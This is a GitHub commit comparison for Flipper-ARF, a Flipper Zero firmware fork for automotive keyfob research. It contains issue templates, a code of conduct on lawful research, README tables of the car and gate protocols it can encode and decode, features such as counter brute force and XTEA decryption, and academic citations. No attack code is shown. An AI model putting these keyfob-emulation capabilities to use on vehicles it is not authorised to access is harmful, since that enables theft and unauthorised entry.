Compare commits

...

40 Commits

Author SHA1 Message Date
Andrea Santaniello
730bb318fb 47lecoste's advanced modulation hopper merge 2026-03-13 14:50:24 +01:00
Andrea
ce085b6895 Revise automotive RKE security references and add new entries, fixed a DOI 2026-03-12 21:26:45 +01:00
D4rk$1d3
f4c753b673 Update README.md 2026-03-12 15:10:57 -03:00
Andrea
41191df7fd Remove Implemented Protocols section from README (redundant)
Removed the Implemented Protocols section from the README.
2026-03-12 15:33:00 +01:00
Andrea Santaniello
d5eb983caa Modulation hopping settings for time and rssi 2026-03-12 15:18:54 +01:00
Andrea Santaniello
853c609977 Marelli BSI buttons 2026-03-12 15:00:34 +01:00
Andrea Santaniello
a900aef3e9 Protocol renames 2026-03-12 14:36:52 +01:00
Andrea Santaniello
ed52f88a6c Removed test princeofarabia 2026-03-12 14:21:15 +01:00
Andrea Santaniello
71ce73476b SubBrute Icon Fix 2026-03-12 14:20:15 +01:00
Andrea Santaniello
4f247a9e90 Topbar is now also hided when lockmode is on. 2026-03-12 14:02:00 +01:00
Andrea Santaniello
9f89d933da forgot to add api symbol 2026-03-12 13:46:22 +01:00
Andrea Santaniello
43b86fc17b Hide statusbar during update slideshow, updated asset. 2026-03-12 13:26:15 +01:00
DACI
03897a406e Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-12 10:19:55 +01:00
DACI
09a7668fe7 Refactor Subaru & Suzuki protocols and registry
Update subghz protocol registry and perform a large refactor of Subaru and Suzuki implementations. Rename protocol symbols to subghz_protocol_suzuki / subghz_protocol_subaru and expose SUBGHZ_PROTOCOL_SUBARU_NAME; unify includes and use block helpers (const, decoder, encoder, generic, math, custom_btn_i). Subaru: rewrite decoder/encoder types and logic, add count encode/decode, button mapping and names, adjust timing/deltas, add encoder upload builder, improve (de)serialization, use furi_assert, support additional flags (315/433 AM/FM) and custom button handling. Suzuki: clean up decoder/encoder structs, add CRC calculation/verification, button <-> custom mappings, tighten preamble/gap thresholds and parser logic, update protocol flags and naming. Misc: memory and API consistency fixes, improved formatting and small performance/clarity tweaks across headers and source.
2026-03-12 10:19:45 +01:00
D4rk$1d3
76fbf79bff Update README.md 2026-03-11 23:58:40 -03:00
Andrea
bafe135a56 Update language on criminal activity in CODE_OF_CONDUCT
Clarified stance on criminal activity in the code of conduct.
2026-03-12 00:00:28 +01:00
Andrea Santaniello
77b58feb92 publications, table of content, code of conduct 2026-03-11 23:11:12 +01:00
DACI
57dafbc76d protocol updates 2026-03-11 21:32:25 +01:00
Andrea
e116abaa9b Revise keyfob emulation details and update To Do list
Updated the README to reflect changes in keyfob emulation and Keeloq Key Manager status.
2026-03-11 21:20:18 +01:00
Andrea Santaniello
fd9564e301 Citations [wip] 2026-03-11 20:47:31 +01:00
Andrea Santaniello
de133ebe09 Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 19:39:04 +01:00
Andrea Santaniello
fc03342591 Issue templates 2026-03-11 19:30:14 +01:00
David
bfdf60944f Remove unused fields from Kia V5 protocol 2026-03-11 18:48:03 +01:00
David
0290f601a0 Remove NULL function pointers from Kia V3/V4 protocol
Removed unused function pointers from the Kia V3/V4 protocol structure.
2026-03-11 18:47:07 +01:00
David
2e5648f3f4 Refactor Kia V5 protocol functions and includes 2026-03-11 17:59:35 +01:00
David
cffd268950 Update 2026-03-11 17:59:14 +01:00
David
ddb85d034f Refactor Kia V3/V4 protocol functions and types 2026-03-11 17:58:44 +01:00
David
55f770328c Update 2026-03-11 17:58:20 +01:00
Andrea Santaniello
75a5334a9b Merge branch 'main' of https://github.com/D4C1-Labs/Flipper-ARF 2026-03-11 17:39:27 +01:00
Andrea Santaniello
696041410b Fixes 2026-03-11 17:38:35 +01:00
Andrea
72d3992092 Update Fiat Mystery to Fiat Marelli in README 2026-03-11 15:01:14 +01:00
Andrea Santaniello
c1d145c9cc Updated fiat mistery (magneti marelli BSI) 2026-03-11 14:48:19 +01:00
d4rks1d33
6507bed882 Kia V0/V1/V2 now fully working 2026-03-10 13:36:26 -03:00
d4rks1d33
2d8f3563f9 Removed RollJam app until fully works 2026-03-10 00:15:38 -03:00
root
aa03d590d5 Kia V1 working d-pad 2026-03-10 00:10:15 -03:00
David
c1d1b654f2 Update modulation and frequency for several manufacturers 2026-03-09 14:33:49 +01:00
Andrea Santaniello
6cd7812939 removed passport 2026-03-08 21:35:28 +01:00
Andrea Santaniello
beb3c94790 mess desclamier 2026-03-08 21:17:58 +01:00
Andrea Santaniello
d72836cdb8 protocols list 2026-03-08 20:50:50 +01:00
Andrea Santaniello
fbae97706b images 2026-03-08 20:40:37 +01:00
1447 changed files with 3505 additions and 103136 deletions

View File

@@ -1,45 +1,77 @@
name: Bug report
description: File a bug reports regarding the firmware.
name: Bug Report
description: Report a bug in Flipper-ARF firmware.
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware.
Thanks for reporting a bug in Flipper-ARF. Please fill in as much detail as possible.
- type: input
id: firmware-version
attributes:
label: Firmware version
description: "ARF version or git commit hash."
placeholder: "e.g. ARF 0.1.2 or commit abc1234"
validations:
required: true
- type: dropdown
id: hardware
attributes:
label: Hardware setup
description: "Which hardware configuration are you using?"
options:
- Flipper Zero (stock)
- Flipper Zero (modded antenna)
- Flipper Zero + external CC1101
- Other (describe below)
validations:
required: true
- type: input
id: protocol
attributes:
label: Protocol affected
description: "Which protocol is affected, if applicable?"
placeholder: "e.g. Kia V3/V4, PSA GROUP, Keeloq, Fiat Mystery"
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation used, if relevant."
placeholder: "e.g. 433.92 MHz AM"
- type: textarea
id: description
attributes:
label: Describe the bug.
description: "A clear and concise description of what the bug is."
label: Bug description
description: "A clear and concise description of the bug."
validations:
required: true
- type: textarea
id: repro
attributes:
label: Reproduction
label: Steps to reproduce
description: "How can this bug be reproduced?"
placeholder: |
1. Switch on...
2. Press button '....'
3. Wait for the moon phase
4. It burns
1. Open SubGhz app
2. Load saved .sub file
3. Press Send
4. Observe error / unexpected behavior
validations:
required: true
- type: input
id: target
- type: textarea
id: expected
attributes:
label: Target
description: Specify the target
# Target seems to be largely ignored by outside sources.
label: Expected vs actual behavior
description: "What did you expect to happen, and what actually happened?"
validations:
required: true
- type: textarea
id: logs
attributes:
label: Logs
description: Attach your debug logs here
label: Logs / screenshots
description: "Attach debug logs (via serial CLI) or screenshots if available."
render: Text
# Avoid rendering as Markdown here.
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.
label: Additional context
description: "Any other information that might help (vehicle model, .sub file contents, etc.)."

View File

@@ -1,20 +0,0 @@
name: Enhancements
description: Suggest improvements for any existing functionality within the firmware.
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality.
- type: textarea
id: proposal
attributes:
label: "Describe the enhancement you're suggesting."
description: |
Feel free to describe in as much detail as you wish.
validations:
required: true
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.

View File

@@ -1,23 +1,46 @@
name: Feature Request
description: For feature requests regarding the firmware.
description: Suggest a new feature or improvement for Flipper-ARF.
labels: ["feature request"]
body:
- type: markdown
attributes:
value: |
Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions.
- type: textarea
id: proposal
Thanks for suggesting a feature for Flipper-ARF. Please describe your idea in detail.
- type: dropdown
id: category
attributes:
label: "Description of the feature you're suggesting."
description: |
Please describe your feature request in as many details as possible.
- Describe what it should do.
- Note whetever it is to extend existing functionality or introduce new functionality.
label: Category
description: "What area does this feature fall under?"
options:
- New protocol
- Protocol improvement
- UI / UX
- Build system / tooling
- Other
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / protocol
description: "Which manufacturer or protocol is this related to, if applicable?"
placeholder: "e.g. Toyota, Renault, Keeloq"
- type: textarea
id: description
attributes:
label: Description
description: "Describe the feature you're suggesting."
validations:
required: true
- type: textarea
id: use-case
attributes:
label: Use case
description: "Why is this needed? What problem does it solve?"
validations:
required: true
- type: textarea
id: anything-else
attributes:
label: Anything else?
description: Let us know if you have anything else to share.
label: Additional context
description: "Any references, datasheets, links, or examples that support this request."

View File

@@ -0,0 +1,111 @@
name: Protocol / Algorithm Submission
description: Submit a new protocol decoder, encoder, or cipher implementation.
labels: ["protocol", "contribution"]
body:
- type: markdown
attributes:
value: |
Use this template to submit a new protocol implementation or algorithm for inclusion in Flipper-ARF.
Include as much technical detail as possible — timing, frame structure, cipher type, and test captures.
- type: input
id: protocol-name
attributes:
label: Protocol name
description: "Name for the protocol (as it should appear in the firmware)."
placeholder: "e.g. Renault V2, Opel Corsa, Nissan V0"
validations:
required: true
- type: input
id: manufacturer
attributes:
label: Manufacturer / vehicle
description: "Which manufacturer or vehicles use this protocol?"
placeholder: "e.g. Renault Clio 2010-2018, Opel/Vauxhall Corsa D"
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation
description: "RF frequency and modulation type."
placeholder: "e.g. 433.92 MHz FM (FSK)"
validations:
required: true
- type: dropdown
id: encoding
attributes:
label: Encoding
description: "How are bits encoded in the RF signal?"
options:
- PWM (Pulse Width Modulation)
- Manchester
- Differential Manchester
- OOK raw
- Other (describe in frame structure)
validations:
required: true
- type: textarea
id: timing
attributes:
label: Timing parameters
description: "Provide timing values for the protocol."
placeholder: |
te_short: 400 us
te_long: 800 us
te_delta: 150 us
Preamble: 16 pairs of alternating short pulses
Sync: 1200 us HIGH
Gap: 10000 us between bursts
validations:
required: true
- type: textarea
id: frame-structure
attributes:
label: Frame structure
description: "Describe the bit layout — field positions, sizes, fixed vs rolling parts."
placeholder: |
Total bits: 68
Bits 0-31: Encrypted (KeeLoq)
Bits 32-59: Serial (28 bits)
Bits 60-63: Button code (4 bits)
Bits 64-67: CRC (4 bits, XOR of nibbles)
validations:
required: true
- type: dropdown
id: cipher
attributes:
label: Cipher / rolling code type
description: "What cipher or rolling code scheme does this protocol use?"
options:
- None (static code)
- KeeLoq
- AES
- TEA / XTEA
- Hitag2
- Custom / proprietary
- Unknown (needs analysis)
validations:
required: true
- type: dropdown
id: status
attributes:
label: Implementation status
description: "How far along is the implementation?"
options:
- Concept only (analysis / documentation)
- Decoder working
- Encoder working
- Both decoder and encoder working
validations:
required: true
- type: textarea
id: captures
attributes:
label: Test captures
description: "Paste .sub file contents or raw pulse data for validation. Attach files if too large."
render: Text
- type: textarea
id: references
attributes:
label: References
description: "Links to datasheets, research papers, FCC filings, or related projects."

View File

@@ -0,0 +1,99 @@
name: Key Recording Submission
description: Contribute captured keyfob recordings for protocol analysis.
labels: ["recording", "data"]
body:
- type: markdown
attributes:
value: |
Use this template to submit captured keyfob recordings (.sub files or raw data).
These recordings help with protocol reverse engineering, decoder validation, and cipher analysis.
**Tips for useful captures:**
- Record 10+ sequential presses per button without long gaps
- Note the exact button pressed for each capture
- If possible, capture from multiple buttons on the same fob
- Include the vehicle make, model, and year
- type: input
id: vehicle
attributes:
label: Vehicle / device
description: "Make, model, year, and any relevant trim info."
placeholder: "e.g. 2015 Fiat Panda 1.2 Pop"
validations:
required: true
- type: dropdown
id: protocol
attributes:
label: Protocol (if known)
description: "Which protocol was detected, or select Unknown if not yet identified."
options:
- Unknown / new protocol
- VAG GROUP
- Cayenne
- PSA GROUP
- Ford V0
- Fiat SpA
- Fiat Mystery
- Subaru
- Siemens (Mazda)
- Kia V0
- Kia V1
- Kia V2
- Kia V3/V4
- Kia V5
- Kia V6
- Suzuki
- Mitsubishi V0
- Keeloq
- Other (specify below)
validations:
required: true
- type: input
id: frequency
attributes:
label: Frequency & modulation used
description: "The frequency and modulation setting used during capture."
placeholder: "e.g. 433.92 MHz AM650"
validations:
required: true
- type: input
id: buttons
attributes:
label: Button / function
description: "Which buttons were recorded and what they do."
placeholder: "e.g. Lock (Btn A), Unlock (Btn B), Trunk (Btn C)"
validations:
required: true
- type: input
id: num-captures
attributes:
label: Number of captures
description: "How many presses were recorded per button?"
placeholder: "e.g. 10 sequential presses per button"
validations:
required: true
- type: dropdown
id: capture-method
attributes:
label: Capture method
description: "How were the signals captured?"
options:
- SubGhz Read RAW
- SubGhz decoded (saved .sub)
- External SDR (HackRF, RTL-SDR, etc.)
- Other
validations:
required: true
- type: textarea
id: capture-data
attributes:
label: Capture data
description: "Paste .sub file contents here, or attach files. For multiple files, use separate code blocks labeled by button."
render: Text
validations:
required: true
- type: textarea
id: notes
attributes:
label: Notes
description: "Any observations — counter gaps, time between captures, battery changes, multiple fobs, etc."

View File

@@ -1,8 +1 @@
blank_issues_enabled: true
contact_links:
- name: Telegram
url: https://t.me/flipperzero_unofficial
about: Unofficial Telegram chat
- name: Discord
url: https://discord.unleashedflip.com
about: Unofficial Discord Community

View File

@@ -1,13 +1,25 @@
# What's new
## Summary
- [ Describe changes here ]
<!-- What changed and why? Keep it concise. -->
# Verification
## Protocol(s) affected
- [ Describe how to verify changes ]
<!-- Which protocol(s) does this PR touch? e.g. Kia V3/V4, PSA GROUP, none -->
# Checklist (For Reviewer)
## Type of change
- [ ] PR has description of feature/bug
- [ ] Description contains actions to verify feature/bugfix
- [ ] I've built this code, uploaded it to the device and verified feature/bugfix
- [ ] Bug fix
- [ ] New protocol
- [ ] Protocol improvement (encoder/decoder/display)
- [ ] Build system / infrastructure
- [ ] Other
## Testing
<!-- How was this verified? Include hardware used, captures tested, etc. -->
## Checklist
- [ ] Built with `./fbt COMPACT=1 DEBUG=0 updater_package` (no errors)
- [ ] Flashed and tested on Flipper Zero
- [ ] No regressions in other protocols

View File

@@ -1,128 +1,94 @@
# Contributor Covenant Code of Conduct
# Flipper-ARF Code of Conduct
## Our Pledge
We as members, contributors, and leaders pledge to make participation in our
community a harassment-free experience for everyone, regardless of age, body
size, visible or invisible disability, ethnicity, sex characteristics, gender
identity and expression, level of experience, education, socio-economic status,
nationality, personal appearance, race, religion, or sexual identity
and orientation.
We as members, contributors, and maintainers of Flipper-ARF pledge to make participation in this project a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
We pledge to act and interact in ways that contribute to an open, welcoming,
diverse, inclusive, and healthy community.
We pledge to act and interact in ways that contribute to an open, welcoming, and responsible research community.
## Our Standards
## Ethical Research Standards
Examples of behavior that contributes to a positive environment for our
community include:
Flipper-ARF is an automotive security research project. All contributions, discussions, and use of this project must adhere to the following ethical standards:
* Demonstrating empathy and kindness toward other people
1. **Lawful purpose only.** All work must be for lawful, educational, or explicitly authorized security research purposes. Contributors must comply with all applicable local, national, and international laws.
2. **No unauthorized access.** Do not use this firmware or any knowledge gained from it to access vehicles, devices, or systems without explicit authorization from the owner.
3. **Responsible disclosure.** If your research reveals a vulnerability in a manufacturer's system, follow responsible disclosure practices — notify the manufacturer and allow reasonable time for remediation before any public disclosure.
4. **Key material handling.** Do not share manufacturer-specific cryptographic keys, seeds, or proprietary algorithms outside the scope of this project's research goals. Key material included in the project is for protocol interoperability research only.
5. **Authorized captures only.** Signal captures and key recordings submitted to the project should come from researcher-owned vehicles or devices, or be obtained with explicit written permission from the owner.
6. **No enabling of criminal activity.** We do not condone/support/endorse vehicle theft, unauthorized entry, tracking, surveillance, or any other criminal activity.
7. **Radio frequency compliance.** Comply with radio frequency regulations in your jurisdiction. Transmission testing should be conducted in controlled environments or within legally permitted parameters.
## Community Standards
Examples of behavior that contributes to a positive environment:
* Sharing well-documented protocol analysis and research findings
* Providing detailed capture data with proper context (vehicle, method, conditions)
* Being respectful of differing opinions, viewpoints, and experiences
* Giving and gracefully accepting constructive feedback
* Accepting responsibility and apologizing to those affected by our mistakes,
and learning from the experience
* Focusing on what is best not just for us as individuals, but for the
overall community
* Accepting responsibility and apologizing to those affected by our mistakes
Examples of unacceptable behavior include:
Examples of unacceptable behavior:
* The use of sexualized language or imagery, and sexual attention or
advances of any kind
* Sharing techniques specifically intended to facilitate vehicle theft or unauthorized access
* The use of sexualized language or imagery, and sexual attention or advances of any kind
* Trolling, insulting or derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or email
address, without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
* Publishing others' private information without their explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional or research setting
## Enforcement Responsibilities
Community leaders are responsible for clarifying and enforcing our standards of
acceptable behavior and will take appropriate and fair corrective action in
response to any behavior that they deem inappropriate, threatening, offensive,
or harmful.
Project maintainers are responsible for clarifying and enforcing these standards and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, harmful, or in violation of the ethical research standards above.
Community leaders have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are
not aligned to this Code of Conduct, and will communicate reasons for moderation
decisions when appropriate.
Maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate.
## Scope
This Code of Conduct applies within all community spaces, and also applies when
an individual is officially representing the community in public spaces.
Examples of representing our community include using an official e-mail address,
posting via an official social media account, or acting as an appointed
representative at an online or offline event.
This Code of Conduct applies within all project spaces, including the repository, issue tracker, pull requests, and any associated communication channels. It also applies when an individual is representing the project in public spaces.
## Enforcement
## Reporting
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported to the community leaders responsible for enforcement at
hello@flipperdevices.com.
All complaints will be reviewed and investigated promptly and fairly.
Instances of abusive, harassing, unethical, or otherwise unacceptable behavior may be reported by opening a confidential issue on the project's GitHub repository or by contacting the maintainers directly through GitHub.
All community leaders are obligated to respect the privacy and security of the
reporter of any incident.
All complaints will be reviewed and investigated promptly and fairly. All maintainers are obligated to respect the privacy and security of the reporter of any incident.
## Enforcement Guidelines
Community leaders will follow these Community Impact Guidelines in determining
the consequences for any action they deem in violation of this Code of Conduct:
Maintainers will follow these guidelines in determining the consequences for any action they deem in violation of this Code of Conduct:
### 1. Correction
**Community Impact**: Use of inappropriate language or other behavior deemed
unprofessional or unwelcome in the community.
**Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome.
**Consequence**: A private, written warning from community leaders, providing
clarity around the nature of the violation and an explanation of why the
behavior was inappropriate. A public apology may be requested.
**Consequence**: A private, written warning providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested.
### 2. Warning
**Community Impact**: A violation through a single incident or series
of actions.
**Impact**: A violation through a single incident or series of actions.
**Consequence**: A warning with consequences for continued behavior. No
interaction with the people involved, including unsolicited interaction with
those enforcing the Code of Conduct, for a specified period of time. This
includes avoiding interactions in community spaces as well as external channels
like social media. Violating these terms may lead to a temporary or
permanent ban.
**Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. Violating these terms may lead to a temporary or permanent ban.
### 3. Temporary Ban
**Community Impact**: A serious violation of community standards, including
sustained inappropriate behavior.
**Impact**: A serious violation of community or ethical research standards, including sustained inappropriate behavior.
**Consequence**: A temporary ban from any sort of interaction or public
communication with the community for a specified period of time. No public or
private interaction with the people involved, including unsolicited interaction
with those enforcing the Code of Conduct, is allowed during this period.
Violating these terms may lead to a permanent ban.
**Consequence**: A temporary ban from any sort of interaction or public communication with the project for a specified period of time. Violating these terms may lead to a permanent ban.
### 4. Permanent Ban
**Community Impact**: Demonstrating a pattern of violation of community
standards, including sustained inappropriate behavior, harassment of an
individual, or aggression toward or disparagement of classes of individuals.
**Impact**: Demonstrating a pattern of violation of community or ethical standards, including sustained inappropriate behavior, harassment, or using the project to enable criminal activity.
**Consequence**: A permanent ban from any sort of public interaction within
the community.
**Consequence**: A permanent ban from any sort of public interaction within the project.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 2.0, available at
https://www.contributor-covenant.org/version/2/0/code_of_conduct.html.
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.0, with additional ethical research guidelines specific to the Flipper-ARF project.
Community Impact Guidelines were inspired by [Mozilla's code of conduct
enforcement ladder](https://github.com/mozilla/diversity).
[homepage]: https://www.contributor-covenant.org
For answers to common questions about this code of conduct, see the FAQ at
https://www.contributor-covenant.org/faq. Translations are available at
https://www.contributor-covenant.org/translations.
Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity).

241
README.md
View File

@@ -10,6 +10,102 @@ This project may incorporate, adapt, or build upon **other open-source projects*
---
## Table of Contents
- [Showcase](#showcase)
- [Supported Systems](#supported-systems)
- [How to Build](#how-to-build)
- [Project Scope](#project-scope)
- [To Do / Planned Features](#to-do--planned-features)
- [Design Philosophy](#design-philosophy)
- [Research Direction](#research-direction)
- [Contribution Policy](#contribution-policy)
- [Citations & References](#citations--references)
- [Disclaimer](#disclaimer)
---
## Showcase
| | |
|:---:|:---:|
| ![Home](arf_pictures/home.png) | ![Sub-GHz Scanner](arf_pictures/subghz_scan.png) |
| Home Screen | Sub-GHz Scanner |
| ![Keeloq Key Manager](arf_pictures/keeloq_key_manager.png) | ![Mod Hopping](arf_pictures/mod_hopping.png) |
| Keeloq Key Manager | Mod Hopping Config |
| ![PSA Decrypt](arf_pictures/psa_decrypt_builtin.png) | ![Counter BruteForce](arf_pictures/counter_bruteforce.png) |
| PSA XTEA Decrypt | Counter BruteForce |
---
## Supported Systems
### Automotive Protocols
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
### Gate / Access Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
| Nice FLO | 433 MHz | AM | Yes | Yes |
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes |
| CAME TWEE | 433 MHz | AM | Yes | Yes |
| CAME Atomo | 433 MHz | AM | Yes | Yes |
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
| Somfy Telis | 433 MHz | AM | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
| Beninca ARC | 433 MHz | AM | Yes | Yes |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
| Marantec | 433 MHz | AM | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes |
### General Static Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes |
| Linear | 315 MHz | AM | Yes | Yes |
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
| GateTX | 433 MHz | AM | Yes | Yes |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
| MegaCode | 315 MHz | AM | Yes | Yes |
| Mastercode | 433 MHz | AM | Yes | Yes |
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
| SMC5326 | 433 MHz | AM | Yes | Yes |
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
| Doitrand | 433 MHz | AM | Yes | Yes |
| Hay21 | 433 MHz | AM | Yes | Yes |
| Revers RB2 | 433 MHz | AM | Yes | Yes |
| Roger | 433 MHz | AM | Yes | Yes |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
| RAW | All | All | Yes | Yes |
---
### How to Build
Compact release build:
@@ -35,23 +131,11 @@ Flipper-ARF aims to achieve:
---
## Implemented Protocols
- [x] Mazda Siemens Protocol (5WK49365D) — ported from open-source references (testing required)
- [x] Full VAG, Fiat, Ford, Subaru, Kia, PSA support
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
- [x] VAG MFKey support and updated Keeloq codes
- [x] PSA XTEA brute force for saved → emulation workflow
- [x] Brute force of counter in saved → emulation scene for smoother keyfob emulation
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing
---
## To Do / Planned Features
- [ ] Keeloq Key Manager inside firmware
- [ ] Add Scher Khan & Starline protocols
- [ ] Fix and reintegrate RollJam Pro app
- [ ] Marelli BSI encodere and encryption
- [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
@@ -93,6 +177,135 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
---
## Citations & References
The following academic publications have been invaluable to the development and understanding of the protocols implemented in this firmware.
### Automotive RKE Security
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
*USENIX Security 2016, pp. 929944*
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
Roberto Gesteira-Miñarro, Gregorio López, Rafael Palacios
*International Journal of Information Security, Springer, May 2025, 24(3)*
DOI: [10.1007/s10207-025-01063-7](https://doi.org/10.1007/s10207-025-01063-7)
- **The Role of Cryptographic Techniques in Remote Keyless Entry (RKE) Systems**
Jananga Chiran — Sri Lanka Institute of Information Technology
*November 2023*
DOI: [10.5281/zenodo.14677864](https://doi.org/10.5281/zenodo.14677864)
- **SoK: Stealing Cars Since Remote Keyless Entry Introduction and How to Defend From It**
Tommaso Bianchi, Alessandro Brighente, Mauro Conti, Edoardo Pavan — University of Padova / Delft University of Technology
*arXiv, 2025*
https://arxiv.org/pdf/2505.02713
- **Security of Automotive Systems**
Lennert Wouters, Benedikt Gierlichs, Bart Preneel
*Wiley, February 2025*
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
### DST Cipher Family (DST40 / DST80)
- **Security Analysis of a Cryptographically-Enabled RFID Device**
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
*14th USENIX Security Symposium (USENIX Security '05)*
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99127*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
### KeeLoq Cryptanalysis
- **Cryptanalysis of the KeeLoq Block Cipher**
Andrey Bogdanov
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
https://eprint.iacr.org/2007/055
- **A Practical Attack on KeeLoq**
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 118)*
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
- **Algebraic and Slide Attacks on KeeLoq**
Nicolas T. Courtois, Gregory V. Bard, David Wagner
*FSE 2008 (LNCS vol. 5086, pp. 97115)*
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008 (LNCS vol. 5157, pp. 203220)*
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403420)*
